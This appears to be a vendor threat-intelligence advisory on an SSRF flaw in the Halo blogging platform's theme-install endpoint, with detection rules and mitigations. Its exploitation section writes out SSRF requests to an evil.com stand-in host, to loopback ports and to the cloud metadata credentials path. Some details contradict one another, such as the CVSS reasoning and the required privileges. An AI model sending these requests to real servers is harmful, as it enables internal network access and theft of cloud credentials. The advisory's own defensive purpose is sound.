CVE-2026-36758

Executive Summary

CVE-2026-36758 is a Server-Side Request Forgery (SSRF) vulnerability in the /themes/-/install-from-uri endpoint of Halo version 2.22.14, an open-source Java-based blogging platform. This flaw allows an authenticated attacker to craft a malicious GET request that coerces the server into making HTTP requests to internal network resources, effectively using the Halo instance as a proxy. The vulnerability has a CVSS score of 4.3 (Medium) due to the authentication requirement, yet its impact is significant: it enables internal port scanning, access to cloud metadata endpoints, and pivoting into otherwise unreachable infrastructure. The vendor has not released a patch as of this report, and no public exploit code or Nuclei template exists. Enterprise teams running Halo in internal or semi-trusted network segments should treat this as a high-priority hardening item despite the modest CVSS rating.

Technical Analysis

The vulnerability resides in the theme installation functionality of Halo. The /themes/-/install-from-uri endpoint is designed to allow administrators to install themes by specifying a remote URI. The application fails to properly validate or sanitize the supplied URI before performing a server-side HTTP request to retrieve the theme archive.

From a code-level perspective, the vulnerable flow is as follows:

1. Authentication gate: The endpoint requires a valid session with administrative or theme-management privileges. Halo uses Spring Security with form-based login; an attacker must possess valid credentials (or have compromised a session token) to reach this endpoint.

2. URI parameter handling: The install-from-uri action accepts a uri query parameter (e.g., GET /themes/-/install-from-uri?uri=http://evil.com/theme.zip). The application constructs an HTTP client request using this URI without validating the target host against a blocklist or allowlist.

3. Request execution: Halo's underlying HTTP client (typically built on Java's HttpURLConnection or Apache HttpClient) follows the supplied URI. It does not distinguish between public and private IP ranges; a request to http://192.168.1.1/ or http://169.254.169.254/latest/meta-data/ will be sent directly from the server's network interface.

4. Response handling: The response from the internal resource is processed by the application. Depending on the code path, the attacker may receive an error message, a success confirmation, or timing-based side channels that reveal whether a port is open or a resource exists.

The root cause is a classic CWE-918 (SSRF) flaw: the server does not restrict the destination of server-side requests to trusted or public hosts. The authentication requirement (scored as PR:L in CVSS) is the only mitigating factor, raising the CVSS vector from the 9+ range (unauthenticated SSRF) to 4.3.

Attack surface analysis:

• Halo v2.22.14 and any version sharing this code path (all 2.22.x versions are presumed affected per the vendor's release cadence).
• The endpoint is accessible over HTTP/HTTPS on the default Halo port (8090) or behind a reverse proxy.
• The authentication requirement limits the attack to users with at least "author" privileges; however, in multi-tenant or shared-host deployments, a low-privilege authenticated user may still reach this endpoint if authorization checks are incomplete.

Exploitation Scenarios

The following attack chain assumes an authenticated attacker with valid Halo credentials and network reachability to the application.

Step 1 — Reconnaissance (Target Identification): The attacker identifies Halo instances through Shodan. Given the CMS nature, a dork such as http.title:"Halo" or http.component:"Halo" will surface internet-facing instances. The attacker then brute-forces or phishes for a valid account (default admin credentials are a common vector). Alternatively, in a corporate environment, the attacker may already possess credentials through credential stuffing against the company's SSO or a compromised endpoint.

Step 2 — Trigger / Weaponization (URI Crafting): With valid credentials, the attacker prepares the SSRF payload:

• Port scan: GET /themes/-/install-from-uri?uri=http://127.0.0.1:3306/ — the server will attempt to connect to its own MySQL port. A connection-success vs. timeout discrepancy reveals open/closed ports.
• Cloud metadata access: GET /themes/-/install-from-uri?uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — on AWS EC2 instances, this returns temporary IAM credentials, which the attacker can use to assume the instance's IAM role.
• Internal service probing: GET /themes/-/install-from-uri?uri=http://10.0.0.5:8080/actuator/health — the attacker probes internal microservices for exposed management endpoints.

The attacker sends this request from their browser or with curl:

curl -k -X GET \
  "https://halo.example.com/themes/-/install-from-uri?uri=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: JSESSIONID=<valid_session_cookie>"

Step 3 — Payload Execution (Data Exfiltration): For blind SSRF, the attacker can use a DNS- or HTTP-based callback to confirm execution, or infer results via differential timing (open ports respond quickly; filtered ports timeout). For non-blind cases, the HTTP response body may include the fetched content (e.g., cloud metadata JSON) directly in an error page or debug output. The attacker exfiltrates the data manually or via an automated script.

Step 4 — Post-Exploitation (Impact Realization):

• If cloud metadata was accessed, the attacker obtains IAM temporary credentials and can enumerate S3 buckets, EC2 instances, or other cloud resources within the same account.
• If internal services were mapped, the attacker can chain this with other vulnerabilities (e.g., an unauthenticated Redis or Elasticsearch instance) to achieve remote code execution.
• The Halo server can be used as a general proxy to pivot into the internal network, circumventing firewall restrictions that typically block direct external access to internal hosts.

Impact Assessment

CVSS Analysis: The base score of 4.3 reflects:

• Attack Vector (AV:N) — network-exploitable.
• Attack Complexity (AC:L) — no special conditions beyond valid credentials.
• Privileges Required (PR:L) — authentication is required (mitigating factor).
• User Interaction (UI:N) — none required.
• Confidentiality Impact (C:L) — limited data disclosure (internal file/resource contents).
• Integrity Impact (I:N) — the SSRF does not modify data.
• Availability Impact (A:N) — the server continues to function.

Business Impact:

• Data Exposure: An attacker can read sensitive internal files, configuration files, or cloud metadata, potentially exposing database credentials, API keys, or infrastructure secrets.
• Network Pivot: The Halo instance becomes a beachhead for lateral movement. In a DMZ, this bridges the internet zone with the internal corporate network.
• Compliance: GDPR, PCI-DSS, or SOX violations if internal systems (e.g., payment processing) are probed or data is exfiltrated.
• Reputation: A compromised Halo blog or corporate intranet site erodes customer trust.

Affected Systems: Halo v2.22.14 (and likely all 2.x releases without the fix). The blast radius extends to any system reachable from the Halo server — this includes the host operating system (via http://127.0.0.1), the adjacent network segment, and cloud metadata services (if hosted on AWS/Azure/GCP).

EPSS Context: The EPSS score of 0.00168 (6.4th percentile) indicates low current exploitation probability. This likely reflects the authentication requirement and the niche nature of the Halo platform. However, this score is dynamic and will rise if a public PoC emerges.

Detection Guidance

Sigma Rule

title: Halo SSRF via install-from-uri Endpoint
id: 8c3a0a34-9f1a-4c5e-9a56-2d53fcd2a911
status: experimental
description: Detects access to the Halo theme installation endpoint with a non-standard URI parameter indicative of SSRF attempts
date: 2026/02/14
author: Valtersit Threat Intelligence
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-36758
logsource:
    category: webserver
    product: nginx
    detection:
        selection_uri:
            c-uri|contains:
                - '/themes/-/install-from-uri'
        selection_param:
            cs-uri-query|contains|any:
                - 'uri=http://'
                - 'uri=http://127.0.0.1'
                - 'uri=http://169.254.169.254'
                - 'uri=http://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/'
        condition: selection_uri and selection_param
    falsepositives:
        - Legitimate theme installation from trusted public repositories (e.g., GitHub)
    level: high

YARA Rule

rule Halo_SSRF_install_from_uri {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects HTTP request payloads targeting Halo SSRF vulnerability CVE-2026-36758"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-36758"
        date = "2026-02-14"
    strings:
        $endpoint = "/themes/-/install-from-uri"
        $uri_get = "uri=http://"
        $ip_literal = /uri=http:\/\/([0-9]{1,3}\.){3}[0-9]{1,3}/
        $metadata = "169.254.169.254"
        $loopback = "127.0.0.1"
        $internal_10 = "uri=http://10."
        $internal_172 = "uri=http://172."
        $internal_192 = "uri=http://192.168."
    condition:
        $endpoint and ($uri_get or $ip_literal) and
        (any of ($metadata, $loopback, $internal_10, $internal_172, $internal_192) or #ip_literal > 2)
}

Suricata IDS Rule

alert http any any -> any any (msg:"Halo SSRF - install-from-uri endpoint with internal IP URI"; \
  flow:established,to_server; \
  http.uri; content:"/themes/-/install-from-uri"; nocase; \
  http.uri; pcre:"/uri=http:\/\/(127\.0\.0\.1|169\.254\.169\.254|10\.|172\.16\.|192\.168\.)/iUi"; \
  sid:2026367581; rev:1; \
  reference:url,nvd.nist.gov/vuln/detail/CVE-2026-36758; \
  classtype:attempted-recon;)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [http where http.request.method == "GET" and
   http.request.uri like "*themes/-/install-from-uri*" and
   http.request.uri like "*uri=http://*"]
  [network where network.direction == "egress" and
   destination.ip in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.169.254", "127.0.0.0/8")]

Splunk SPL Query

sourcetype="access_combined" OR sourcetype="iis"
| where like(uri_path, "%/themes/-/install-from-uri%")
| regex uri_query="uri=http://(127\.0\.0\.1|169\.254\.169\.254|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)"
| table _time, src_ip, dest_ip, user, uri_query
| sort - _time

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="100367" level="12">
    <if_sid>31122</if_sid>
    <regex>\.*/themes/-/install-from-uri.*uri=http://(127\.0\.0\.1|169\.254\.169\.254|10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.|192\.168\.)</regex>
    <description>CVE-2026-36758: Halo SSRF attempt detected - internal IP in install-from-uri endpoint</description>
    <group>ssrf,halo,cve-2026-36758,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No official patch, commit, or vendor advisory has been identified for CVE-2026-36758 as of this report. The NVD entry confirms the affected version (v2.22.14) but provides no patched version. Monitor the Halo GitHub repository (halo-dev/halo) and the official release notes (https://github.com/halo-dev/halo/releases) for a security release. Do not claim a patch exists; verify before applying any fix.

1. Immediate Mitigations (compensating controls)

• Restrict endpoint access: Place Halo behind a reverse proxy (Nginx, Apache) and block direct access to /themes/-/install-from-uri for all users except a small set of trusted administrators:

  location ~ ^/themes/-/install-from-uri {
      allow 192.168.1.100;  # admin workstation
      deny all;
  }
  

• Network-level egress filtering: On the Halo server's host firewall, block outbound HTTP/HTTPS requests to private IP ranges (RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and link-local addresses (169.254.0.0/16). Use iptables/nftables or cloud security groups.
• Discover cloud metadata: Block the meta-data IP 169.254.169.254 at the instance level (AWS recommends using instance metadata service v2 with session tokens to prevent SSRF-based access).
• Revoke or restrict low-privilege accounts: If multi-user, disable accounts that do not require theme installation.
• Consider a WAF: Deploy a WAF (ModSecurity, Cloudflare) with a rule to block uri=http:// patterns containing private IP literals in the query string.

2. Patch / Upgrade Steps

• Immediate action: Check for newer Halo releases (post-2.22.14) and review their changelogs for SSRF-related fixes. If a newer version exists, upgrade:

  # Halo uses Docker or a Java jar
  docker pull halohub/halo:latest
  docker compose up -d
  

• Source-level fix (if vendor is slow): In your local Halo deployment, patch the controller handling /themes/-/install-from-uri to validate the uri parameter against an allowlist of trusted domains (e.g., github.com, halo.run) and reject any private IP literal or loopback address. Recompile and redeploy. Note that this will be overwritten by future official upgrades.

3. Long-Term Hardening

• Least privilege: Run Halo as a non-root user with limited filesystem and network permissions.
• Segmentation: Place Halo in a dedicated DMZ subnet with strict firewall rules; do not co-locate it with sensitive internal services.
• Monitoring: Enable HTTPS access logging (both at the app and reverse proxy level) and feed logs to your SIEM for the Sigma/Splunk detections above.
• Vendor engagement: Open a GitHub issue on halo-dev/halo referencing CVE-2026-36758 to pressure the maintainers for a fix; subscribe to the repository's release notifications.

References

• NVD Entry: CVE-2026-36758
• Halo Official Repository: https://github.com/halo-dev/halo (watch for security release tags)
• Halo Releases/Changelog: https://github.com/halo-dev/halo/releases
• CWE-918 (SSRF): https://cwe.mitre.org/data/definitions/918.html
• EPSS Data: FIRST EPSS — CVE-2026-36758

Threat Actor Activity: No known in-the-wild exploitation or campaign utilizing this CVE has been identified. CISA KEV does not list this CVE. The EPSS score of 0.00168 confirms low current exploit activity; however, the SSRF class is a staple of attacker toolkits, and exploitation is likely imminent once the platform gains more adoption or a public PoC surfaces.